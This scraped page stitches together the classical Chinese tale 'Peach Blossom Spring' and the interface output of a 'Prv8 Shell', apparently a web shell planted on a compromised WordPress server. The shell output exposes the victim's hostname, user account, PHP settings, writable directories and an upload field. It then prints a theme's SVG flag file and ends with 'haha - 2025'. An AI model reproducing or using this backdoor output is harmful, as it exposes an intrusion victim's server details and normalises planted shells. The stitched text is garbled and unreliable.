晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/oldTZh/wp-content/themes/betheme/images/flags/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/oldTZh/wp-content/themes/betheme/images/flags/BAM.svg
<svg width="20" height="15" viewBox="0 0 20 15" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_3122_25071)">
<rect width="20" height="15" rx="2" fill="white"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M0 0H20.25V15H0V0Z" fill="#2E42A5"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M6.25 0H19V15L6.25 0Z" fill="#FECA00"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M4.44254 1.74612L3.70781 2.1324L3.84813 1.31426L3.25372 0.734853L4.07518 0.615489L4.44254 -0.128876L4.80991 0.615489L5.63136 0.734853L5.03695 1.31426L5.17728 2.1324L4.44254 1.74612Z" fill="#F7FCFF"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M6.62174 4.4212L5.88701 4.80747L6.02733 3.98934L5.43292 3.40993L6.25438 3.29057L6.62174 2.5462L6.98911 3.29057L7.81056 3.40993L7.21615 3.98934L7.35647 4.80747L6.62174 4.4212Z" fill="#F7FCFF"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M8.66465 7.02405L7.92992 7.41032L8.07024 6.59218L7.47583 6.01278L8.29728 5.89341L8.66465 5.14905L9.03202 5.89341L9.85347 6.01278L9.25906 6.59218L9.39938 7.41032L8.66465 7.02405Z" fill="#F7FCFF"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M10.6659 9.51828L9.93114 9.90455L10.0715 9.08642L9.47705 8.50701L10.2985 8.38764L10.6659 7.64328L11.0332 8.38764L11.8547 8.50701L11.2603 9.08642L11.4006 9.90455L10.6659 9.51828Z" fill="#F7FCFF"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M12.8215 12.0855L12.0868 12.4718L12.2271 11.6536L11.6327 11.0742L12.4541 10.9549L12.8215 10.2105L13.1889 10.9549L14.0103 11.0742L13.4159 11.6536L13.5562 12.4718L12.8215 12.0855Z" fill="#F7FCFF"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M15.2043 14.5694L14.4696 14.9557L14.6099 14.1376L14.0155 13.5582L14.837 13.4388L15.2043 12.6944L15.5717 13.4388L16.3931 13.5582L15.7987 14.1376L15.9391 14.9557L15.2043 14.5694Z" fill="#F7FCFF"/>
</g>
<defs>
<clipPath id="clip0_3122_25071">
<rect width="20" height="15" rx="2" fill="white"/>
</clipPath>
</defs>
</svg>

haha - 2025